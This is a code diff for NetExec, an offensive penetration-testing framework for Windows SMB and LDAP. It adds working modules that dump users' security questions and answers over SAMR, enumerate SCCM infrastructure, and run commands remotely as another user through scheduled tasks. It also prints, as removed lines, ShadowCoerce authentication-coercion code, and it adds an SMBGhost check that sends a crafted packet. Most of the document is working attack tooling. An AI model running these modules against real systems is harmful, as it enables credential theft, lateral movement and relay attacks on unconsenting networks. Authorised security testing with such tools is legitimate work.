if str(e).find("Broken pipe") >= 0:
# The connection timed-out. Let's try to bring it back next round
self.context.log.error("Connection failed - skipping host!")
return
elif str(e).upper().find("ACCESS_DENIED"):
# We're not admin, bye
self.context.log.error("Access denied - RPC call was denied")
dce.disconnect()
return
else:
raise
self.context.log.debug("Got handle")
try:
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
request["hPrinter"] = resp["pHandle"]
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
request["pszLocalMachine"] = "\\\\%s\x00" % listener
except Exception as e:
self.context.log.debug(e)
try:
dce.request(request)
except Exception as e:
self.context.log.debug(e)
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+1 -1
View File
@@ -53,7 +53,7 @@ class NXCModule:
for attrs in resp:
if not isinstance(attrs, ldapasn1_impacket.SearchResultEntry):
continue
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, obersationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, observationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
for attr in attrs["attributes"]:
if str(attr["type"]) == "name":
policyName = attr["vals"][0]
+288
View File
@@ -0,0 +1,288 @@
from impacket.ldap import ldap, ldaptypes, ldapasn1 as ldapasn1_impacket
from impacket.ldap.ldap import LDAPSearchError
from ldap3.protocol.microsoft import security_descriptor_control
from nxc.parsers.ldap_results import parse_result_attributes
SAM_USER_OBJECT = 0x30000000
SAM_MACHINE_ACCOUNT = 0x30000001
SAM_GROUP_OBJECT = 0x10000000
LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941"
class NXCModule:
"""
Implementation of the SCCM RECON-1 technique to find SCCM related objects in Active Directory.
See:
https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
https://github.com/garrettfoster13/sccmhunter
Module by @NeffIsBack
"""
name = "sccm"
description = "Find a SCCM infrastructure in the Active Directory"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.sccm_site_servers = [] # List of dns host names of the SCCM site servers
self.sccm_sites = {} # List of SCCM sites with their management points (Sorted by site code)
self.base_dn = ""
self.recursive_resolve = False
self.user_objects = []
self.computer_objects = []
self.group_objects = {}
def options(self, context, module_options):
"""
BASE_DN The base domain name for the LDAP query
REC_RESOLVE Resolve members of groups recursively. Default: False
"""
if module_options and "BASE_DN" in module_options:
self.base_dn = module_options["BASE_DN"]
if module_options and "REC_RESOLVE" in module_options:
self.recursive_resolve = bool(module_options["REC_RESOLVE"])
def on_login(self, context, connection):
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
self.context = context
self.connection = connection
self.base_dn = connection.ldapConnection._baseDN if not self.base_dn else self.base_dn
self.sc = ldap.SimplePagedResultsControl()
# Basic SCCM enumeration
try:
# Search for SCCM root object
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
controls = security_descriptor_control(sdflags=0x04)
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
result = connection.ldapConnection.search(
searchFilter=search_filter,
attributes=["nTSecurityDescriptor"],
sizeLimit=0,
searchControls=controls,
searchBase=self.base_dn,
)
# There should be only one result
for item in result:
if isinstance(item, ldapasn1_impacket.SearchResultEntry):
self.context.log.success(f"Found SCCM object: {item[0]}")
self.get_site_servers(item)
self.get_sites()
self.get_management_points()
# Print results
self.context.log.success(f"Found {len(self.sccm_site_servers)} Site Servers:")
for site in self.sccm_site_servers:
ip = self.connection.resolver(site)
self.context.log.highlight(f"{site} - {ip['host'] if ip else 'unknown'}")
self.context.log.success(f"Found {len(self.sccm_sites)} SCCM Sites:")
for site in self.sccm_sites:
self.context.log.highlight(f"{self.sccm_sites[site]['cn']}")
self.context.log.highlight(f" Site Code: {site.rjust(14)}")
self.context.log.highlight(f" Assignment Site Code: {self.sccm_sites[site]['AssignmentSiteCode'].rjust(3)}")
# If there aren't Management Points, it's a Central Administration Site
if self.sccm_sites[site]["ManagementPoints"]:
self.context.log.highlight(f" CAS: {' ':<17}{False}")
self.context.log.highlight(" Management Points:")
for mp in self.sccm_sites[site]["ManagementPoints"]:
self.context.log.highlight(f" CN:{' ':<12}{mp['cn']}")
self.context.log.highlight(f" DNS Hostname:{' ':<2}{mp['dNSHostName']}")
self.context.log.highlight(f" IP Address:{' ':<4}{mp['IPAddress']}")
self.context.log.highlight(f" Default MP:{' ':<4}{mp['mSSMSDefaultMP']}")
else:
self.context.log.highlight(f" CAS: {' ':<17}{True}")
self.context.log.highlight("")
except LDAPSearchError as e:
context.log.fail(f"Got unexpected exception: {e}")
# SCCM named objects enumeration
self.get_sccm_named_objects(context, connection)
if self.user_objects:
context.log.success(f"Found {len(self.user_objects)} SCCM related user objects:")
for user in self.user_objects:
context.log.highlight(user)
if self.computer_objects:
context.log.success(f"Found {len(self.computer_objects)} SCCM related computer objects:")
for computer in self.computer_objects:
context.log.highlight(computer)
if self.group_objects:
context.log.success(f"Found {len(self.group_objects)} SCCM related group objects:")
for group in self.group_objects:
context.log.highlight(self.group_objects[group]["sAMAccountName"])
for child in self.group_objects[group]["children"]:
if int(child["sAMAccountType"]) == SAM_USER_OBJECT:
context.log.highlight(f" {child['sAMAccountName']} -> User")
elif int(child["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
context.log.highlight(f" {child['sAMAccountName']} -> Computer")
elif int(child["sAMAccountType"]) == SAM_GROUP_OBJECT:
context.log.highlight(f" {child['sAMAccountName']} -> Group")
def get_sccm_named_objects(self, context, connection):
"""Enumerate users/groups/computers with "SCCM" in their name"""
# hippity hoppity your code is now my property, filter stolen from the awesome sccmhunter repository
# https://github.com/garrettfoster13/sccmhunter
try:
yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))"
context.log.display("Searching for SCCM related objects")
result = connection.ldapConnection.search(
searchFilter=yoinkers,
searchBase=self.base_dn,
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
)
result = parse_result_attributes(result)
for res in result:
if "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_USER_OBJECT:
self.user_objects.append(res["sAMAccountName"])
elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
self.computer_objects.append(res["sAMAccountName"])
elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_GROUP_OBJECT:
self.group_objects[res["distinguishedName"]] = {
"sAMAccountName": res["sAMAccountName"],
"children": [],
}
if self.recursive_resolve:
self.resolve_recursive(res["distinguishedName"])
except LDAPSearchError as e:
context.log.fail(f"Got unexpected exception: {e}")
def resolve_recursive(self, dn):
"""Recursively resolve members of a group."""
try:
self.context.log.debug(f"Resolving group members recursively for {dn}")
# Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN
result = self.connection.ldapConnection.search(
searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})",
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
)
result = parse_result_attributes(result)
for res in result:
self.group_objects[dn]["children"].append({
"sAMAccountName": res["sAMAccountName"],
"distinguishedName": res["distinguishedName"],
"sAMAccountType": res["sAMAccountType"],
})
except LDAPSearchError as e:
self.context.log.error(f"Error resolving group members: {e}")
def get_management_points(self):
"""Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code."""
try:
response = self.connection.ldapConnection.search(
searchBase=self.base_dn,
searchFilter="(objectClass=mSSMSManagementPoint)",
attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"],
)
response_parsed = parse_result_attributes(response)
for mp in response_parsed:
ip = self.connection.resolver(mp["dNSHostName"])
self.sccm_sites[mp["mSSMSSiteCode"]]["ManagementPoints"].append({
"cn": mp["cn"],
"dNSHostName": mp["dNSHostName"],
"IPAddress": ip["host"] if ip else "-",
"mSSMSDefaultMP": mp["mSSMSDefaultMP"],
})
except LDAPSearchError as e:
self.context.log.error(f"Error searching for management points: {e}")
def get_sites(self):
"""Searches for all SCCM sites in the Active Directory, sorted by site code."""
try:
response = self.connection.ldapConnection.search(
searchBase=self.base_dn,
searchFilter="(objectClass=mSSMSSite)",
attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"],
)
response_parsed = parse_result_attributes(response)
for site in response_parsed:
self.sccm_sites[site["mSSMSSiteCode"]] = {
"cn": site["cn"],
"AssignmentSiteCode": site["mSSMSAssignmentSiteCode"],
"ManagementPoints": []
}
except LDAPSearchError as e:
self.context.log.error(f"Error searching for sites: {e}")
def get_site_servers(self, item):
"""Extracts the site servers from the root SCCM object."""
raw_sec_descriptor = str(item[1][0][1][0]).encode("latin-1")
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=raw_sec_descriptor)
self.parse_dacl(principal_security_descriptor["Dacl"])
self.sccm_site_servers = set(self.sccm_site_servers) # Make list unique
def parse_dacl(self, dacl):
"""Parses a DACL and extracts the dns host names with full control over the SCCM object."""
self.context.log.debug("Parsing DACL")
for ace in dacl["Data"]:
self.parse_ace(ace)
def parse_ace(self, ace):
"""Parses an ACE and resolves the SID if the SID of the ACE has full control."""
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE"]:
ace = ace["Ace"]
sid = ace["Sid"].formatCanonical()
mask = ace["Mask"]
fullcontrol = 0xf01ff
if mask.hasPriv(fullcontrol):
self.resolve_SID(sid)
def resolve_SID(self, sid):
"""Tries to resolve a SID and add the dNSHostName to the sccm site list."""
try:
self.context.log.debug(f"Resolving SID: {sid}")
result = self.connection.ldapConnection.search(
searchBase=self.base_dn,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"],
)
parsed_result = parse_result_attributes(result)
if not parsed_result:
return None
else:
parsed_result = parsed_result[0] # We only have one result as we always query a single SID
if int(parsed_result["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
self.context.log.debug(f"Found object with full control over SCCM object. SID: {sid}, dns_hostname: {parsed_result['dNSHostName']}")
self.sccm_site_servers.append(parsed_result["dNSHostName"])
elif int(parsed_result["sAMAccountType"]) == SAM_GROUP_OBJECT:
if isinstance(parsed_result["member"], list):
for member in parsed_result["member"]:
member_sid = self.dn_to_sid(member)
if member_sid:
self.resolve_SID(member_sid)
else: # Group has only one member
member_sid = self.dn_to_sid(parsed_result["member"])
if member_sid:
self.resolve_SID(member_sid)
except Exception as e:
self.context.log.debug(f"SID not found in LDAP: {sid}, {e}")
return ""
def dn_to_sid(self, dn) -> str:
"""Tries to resolve a DN to a SID."""
result = self.connection.ldapConnection.search(
searchBase=self.base_dn,
searchFilter=f"(distinguishedName={dn})",
attributes=["sAMAccountName", "objectSid"],
)
# Extract the SID of the object
sid_raw = bytes(result[0][1][0][1].components[0])
return ldaptypes.LDAP_SID(data=sid_raw).formatCanonical()
+27 -7
View File
@@ -15,17 +15,29 @@ class NXCModule:
"""
def options(self, context, module_options):
"""
r"""
CMD Command to execute
USER User to execute command as
TASK OPTIONAL: Set a name for the scheduled task name
FILE OPTIONAL: Set a name for the command output file
LOCATION OPTIONAL: Set a location for the command output file (e.g. '\tmp\')
"""
self.cmd = self.user = self.time = None
self.cmd = self.user = self.task = self.file = self.location = self.time = None
if "CMD" in module_options:
self.cmd = module_options["CMD"]
if "USER" in module_options:
self.user = module_options["USER"]
if "TASK" in module_options:
self.task = module_options["TASK"]
if "FILE" in module_options:
self.file = module_options["FILE"]
if "LOCATION" in module_options:
self.location = module_options["LOCATION"]
name = "schtask_as"
description = "Remotely execute a scheduled task as a logged on user"
supported_protocols = ["smb"]
@@ -51,6 +63,9 @@ class NXCModule:
connection.domain,
self.user,
self.cmd,
self.file,
self.task,
self.location,
connection.kerberos,
connection.aesKey,
connection.host,
@@ -79,7 +94,7 @@ class NXCModule:
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
@@ -99,6 +114,9 @@ class TSCH_EXEC:
self.logger = logger
self.cmd = cmd
self.user = user
self.file = file
self.task = task
self.location = location
if hashes is not None:
if hashes.find(":") != -1:
@@ -181,7 +199,11 @@ class TSCH_EXEC:
<Command>cmd.exe</Command>
"""
if self.__retOutput:
self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}"
fileLocation = "\\Windows\\Temp\\" if self.location is None else self.location
if self.file is None:
self.__output_filename = os.path.join(fileLocation, gen_random_string(6))
else:
self.__output_filename = os.path.join(fileLocation, self.file)
if fileless:
local_ip = self.__rpctransport.get_socket().getsockname()[0]
argument_xml = f" <Arguments>/C {command} &gt; \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2&gt;&amp;1</Arguments>"
@@ -207,9 +229,7 @@ class TSCH_EXEC:
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
tmpName = gen_random_string(8)
tmpName = gen_random_string(8) if self.task is None else self.task
xml = self.gen_xml(command, fileless)
self.logger.info(f"Task XML: {xml}")
+134
View File
@@ -0,0 +1,134 @@
from impacket.dcerpc.v5 import samr, transport
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5.rpcrt import DCERPCException
from json import loads
from traceback import format_exc as traceback_format_exc
class NXCModule:
"""
Module by Adamkadaban: @Adamkadaban
Based on research from @0gtweet (@gtworek)
Much of this code was copied from add_computer.py
Reference: https://hackback.zip/2024/05/08/Remotely-Dumping-Windows-Security-Questions-With-Impacket.html
"""
name = "security-questions"
description = "Gets security questions and answers for users on computer"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module):
pass
def on_admin_login(self, context, connection):
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.hostname + "." + connection.domain
self.__target = self.__kdcHost
self.__username = connection.username
self.__password = connection.password
self.__targetIp = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
self.__doKerberos = connection.kerberos
self.__nthash = ""
self.__lmhash = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.getSAMRResetInfo(context)
def getSAMRResetInfo(self, context):
string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(445)
rpc_transport.setRemoteHost(self.__targetIp)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
try:
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
# obtain server handle for samr connection
resp = samr.hSamrConnect(dce)
server_handle = resp["ServerHandle"]
resp = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)
domains = resp["Buffer"]["Buffer"]
resp = samr.hSamrLookupDomainInSamServer(dce, server_handle, domains[0]["Name"])
# obtain domain handle for samr connection
resp = samr.hSamrOpenDomain(dce, serverHandle=server_handle, domainId=resp["DomainId"])
domain_handle = resp["DomainHandle"]
status = STATUS_MORE_ENTRIES
enumeration_context = 0
# try to iterate through users in domain entries for connection
while status == STATUS_MORE_ENTRIES:
try:
resp = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, enumerationContext=enumeration_context)
except DCERPCException as e:
if str(e).find("STATUS_MORE_ENTRIES") < 0:
raise
resp = e.get_packet()
for user in resp["Buffer"]["Buffer"]:
try:
context.log.info(f"Querying security questions for User: {user['Name']}")
# request SAMR ID 30
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6
r = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserResetInformation)
reset_data = info["Buffer"]["Reset"]["ResetData"]
if reset_data == b"":
continue
reset_data = loads(reset_data)
questions = reset_data["questions"]
if len(questions) == 0:
context.log.highlight(f"User {user['Name']} has no security questions")
else:
for qna in questions:
question = qna["question"]
answer = qna["answer"]
context.log.highlight(f"{user['Name']} - {question}: {answer}")
samr.hSamrCloseHandle(dce, r["UserHandle"])
except samr.DCERPCException as e:
if "STATUS_INVALID_INFO_CLASS" in str(e):
context.log.debug(f"Failed to query security questions for User: {user['Name']}: {e!s}")
continue
else:
context.log.fail(f"Failed to query security questions for User: {user['Name']}: {e!s}")
context.log.debug(traceback_format_exc())
enumeration_context = resp["EnumerationContext"]
status = resp["ErrorCode"]
except Exception as e:
context.log.fail(f"Error: {e}")
context.log.debug(traceback_format_exc())
finally:
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if server_handle is not None:
samr.hSamrCloseHandle(dce, server_handle)
dce.disconnect()
+2 -259
View File
@@ -1,22 +1,6 @@
import time
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import BOOL, LONG, WSTR, LPWSTR
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.rpcrt import (
RPC_C_AUTHN_WINNT,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_AUTHN_GSS_NEGOTIATE,
)
from impacket.smbconnection import SessionError
from nxc.logger import nxc_logger
class NXCModule:
name = "shadowcoerce"
description = "Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
description = "[REMOVED] Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -35,245 +19,4 @@ class NXCModule:
self.ipsc = bool(module_options["IPSC"])
def on_login(self, context, connection):
c = CoerceAuth()
dce = c.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.remoteName,
pipe="FssagentRpc",
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
remoteHost=connection.host,
)
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
if dce == 1:
context.log.debug("First try failed. Creating another dce connection...")
# Sleeping mandatory for second try
time.sleep(2)
dce = c.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.remoteName,
pipe="FssagentRpc",
remoteHost=connection.host,
)
if self.ipsc:
context.log.debug("ipsc = %s", self.ipsc)
context.log.debug("Using IsPathShadowCopied!")
result = c.IsPathShadowCopied(dce, self.listener)
else:
context.log.debug("ipsc = %s", self.ipsc)
context.log.debug("Using the default IsPathSupported")
result = c.IsPathSupported(dce, self.listener)
try:
dce.disconnect()
except SessionError as e:
context.log.debug(f"Error disconnecting DCE session: {e}")
if result:
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/ShutdownRepo/ShadowCoerce")
else:
context.log.debug("Target not vulnerable to ShadowCoerce")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
error_messages = system_errors.ERROR_MESSAGES
error_messages.update(MSFSRVP_ERROR_CODES)
if key in error_messages:
error_msg_short = error_messages[key][0]
error_msg_verbose = error_messages[key][1]
return f"SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return f"SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
# Error Codes
################################################################################
MSFSRVP_ERROR_CODES = {
0x80070005: (
"E_ACCESSDENIED",
"The caller does not have the permissions to perform the operation",
),
0x80070057: ("E_INVALIDARG", "One or more arguments are invalid."),
0x80042301: (
"FSRVP_E_BAD_STATE",
"A method call was invalid because of the state of the server.",
),
0x80042316: (
"FSRVP_E_SHADOW_COPY_SET_IN_PROGRESS",
"A call was made to either SetContext (Opnum 1) or StartShadowCopySet (Opnum 2) while the creation of another shadow copy set is in progress.",
),
0x8004230C: (
"FSRVP_E_NOT_SUPPORTED",
"The file store that contains the share to be shadow copied is not supported by the server.",
),
0x00000102: (
"FSRVP_E_WAIT_TIMEOUT",
"The wait for a shadow copy commit or expose operation has timed out.",
),
0xFFFFFFFF: (
"FSRVP_E_WAIT_FAILED",
"The wait for a shadow copy commit expose operation has failed.",
),
0x8004230D: (
"FSRVP_E_OBJECT_ALREADY_EXISTS",
"The specified object already exists.",
),
0x80042308: ("FSRVP_E_OBJECT_NOT_FOUND", "The specified object does not exist."),
0x8004231B: (
"FSRVP_E_UNSUPPORTED_CONTEXT",
"The specified context value is invalid.",
),
0x80042501: (
"FSRVP_E_SHADOWCOPYSET_ID_MISMATCH",
"The provided ShadowCopySetId does not exist.",
),
}
################################################################################
# RPC CALLS
################################################################################
class IsPathSupported(NDRCALL):
opnum = 8
structure = (("ShareName", WSTR),)
class IsPathSupportedResponse(NDRCALL):
structure = (
("SupportedByThisProvider", BOOL),
("OwnerMachineName", LPWSTR),
)
class IsPathShadowCopied(NDRCALL):
opnum = 9
structure = (("ShareName", WSTR),)
class IsPathShadowCopiedResponse(NDRCALL):
structure = (
("ShadowCopyPresent", BOOL),
("ShadowCopyCompatibility", LONG),
)
OPNUMS = {
8: (IsPathSupported, IsPathSupportedResponse),
9: (IsPathShadowCopied, IsPathShadowCopiedResponse),
}
class CoerceAuth:
def connect(
self,
username,
password,
domain,
lmhash,
nthash,
aesKey,
target,
pipe,
doKerberos,
dcHost,
remoteHost,
):
binding_params = {
"FssagentRpc": {
"stringBinding": r"ncacn_np:%s[\PIPE\FssagentRpc]" % target,
"UUID": ("a8e0653c-2744-4389-a61d-7373df8b2292", "1.0"),
},
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpctransport.setRemoteHost(remoteHost)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
dce = rpctransport.get_dce_rpc()
dce.set_credentials(*rpctransport.get_credentials())
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
nxc_logger.info(f"Connecting to {binding_params[pipe]['stringBinding']}")
try:
dce.connect()
except Exception as e:
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @ShutdownRepo
if str(e).find("STATUS_PIPE_NOT_AVAILABLE") >= 0:
dce.disconnect()
return 1
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
nxc_logger.info("Connected!")
nxc_logger.info(f"Binding to {binding_params[pipe]['UUID'][0]}")
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]["UUID"]))
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
nxc_logger.info("Successfully bound!")
return dce
def IsPathShadowCopied(self, dce, listener):
nxc_logger.debug("Sending IsPathShadowCopied!")
try:
request = IsPathShadowCopied()
# only NETLOGON and SYSVOL were detected working here
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
dce.request(request)
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
nxc_logger.debug("Attack may of may not have worked, check your listener...")
return False
return True
def IsPathSupported(self, dce, listener):
nxc_logger.debug("Sending IsPathSupported!")
try:
request = IsPathSupported()
# only NETLOGON and SYSVOL were detected working here
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
dce.request(request)
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
nxc_logger.debug("Attack may of may not have worked, check your listener...")
return False
return True
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+58
View File
@@ -0,0 +1,58 @@
# everything is comming from https://github.com/ly4k/SMBGhost
# credit to @ly4k_
# module by : @r4vanan
import socket
import struct
# Constants
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
# SMBGhost Packet
SMBGHOST_PKT = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
class NXCModule:
name = "smbghost"
description = "Module to check for the SMB dialect 3.1.1 and compression capability of the host, which is an indicator for the SMBGhost vulnerability (CVE-2020-0796)."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
# Define options if needed
pass
def on_login(self, context, connection):
self.context = context
if self.perform_attack(connection.host):
self.context.log.highlight("Potentially vulnerable to SMBGhost (CVE-2020-0796)")
def perform_attack(self, target_ip):
self.context.log.debug("Performing SMBGhost check...")
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.settimeout(5)
sock.connect((target_ip, 445))
sock.send(SMBGHOST_PKT)
# Receive the first 4 bytes for length
nb_data = sock.recv(4)
if len(nb_data) < 4:
self.context.log.debug(f"{target_ip} Connection closed unexpectedly.")
return False
nb, = struct.unpack(">I", nb_data)
res = sock.recv(nb)
# Check response for vulnerability
if res[68:70] == b"\x11\x03" and res[70:72] == b"\x02\x00":
return True
else:
self.context.log.debug(f"{target_ip} Not vulnerable.")
return False
except Exception as e:
self.context.log.fail(f"Error while connecting to host: {e}")
return False
+7 -9
View File
@@ -3,7 +3,6 @@ import errno
from os.path import abspath, join, split, exists, splitext, getsize, sep
from os import makedirs, remove, stat
import time
import traceback
from nxc.paths import TMP_PATH
from nxc.protocols.smb.remotefile import RemoteFile
from impacket.smb3structs import FILE_READ_DATA
@@ -159,8 +158,8 @@ class SMBSpiderPlus:
remote_file.__smbConnection = self.smb.conn
return self.read_chunk(remote_file)
except Exception:
traceback.print_exc()
except Exception as e:
self.logger.exception(e)
break
return chunk
@@ -214,13 +213,13 @@ class SMBSpiderPlus:
# Start the spider at the root of the share folder
self.results[share_name] = {}
self.spider_folder(share_name, "")
except SessionError:
traceback.print_exc()
except SessionError as e:
self.logger.exception(e)
self.logger.fail("Got a session error while spidering.")
self.reconnect()
except Exception as e:
traceback.print_exc()
self.logger.exception(e)
self.logger.fail(f"Error enumerating shares: {e!s}")
# Save the metadata.
@@ -255,7 +254,7 @@ class SMBSpiderPlus:
# Check file-dir exclusion filter.
if any(d in next_filedir.lower() for d in self.exclude_filter):
self.logger.info(f'The {result_type} "{next_filedir}" has been excluded')
self.stats[f"{result_type}s_filtered"] += 1
self.stats[f"num_{result_type}s_filtered"] += 1
continue
if result_type == "folder":
@@ -412,8 +411,7 @@ class SMBSpiderPlus:
self.logger.display(f"Total folders found: {num_folders}")
num_folders_filtered = self.stats.get("num_folders_filtered", 0)
if num_folders_filtered:
num_filtered_folders = len(num_folders_filtered)
self.logger.display(f"Folders Filtered: {num_filtered_folders}")
self.logger.display(f"Folders Filtered: {num_folders_filtered}")
# File statistics.
num_files = self.stats.get("num_files", 0)
+99 -8
View File
@@ -9,6 +9,7 @@ from termcolor import colored
from nxc.logger import nxc_logger
from impacket.dcerpc.v5 import rrp, samr, scmr
from impacket.dcerpc.v5.rrp import DCERPCSessionError
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.smbconnection import SessionError as SMBSessionError
from impacket.examples.secretsdump import RemoteOperations
@@ -88,11 +89,11 @@ class NXCModule:
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
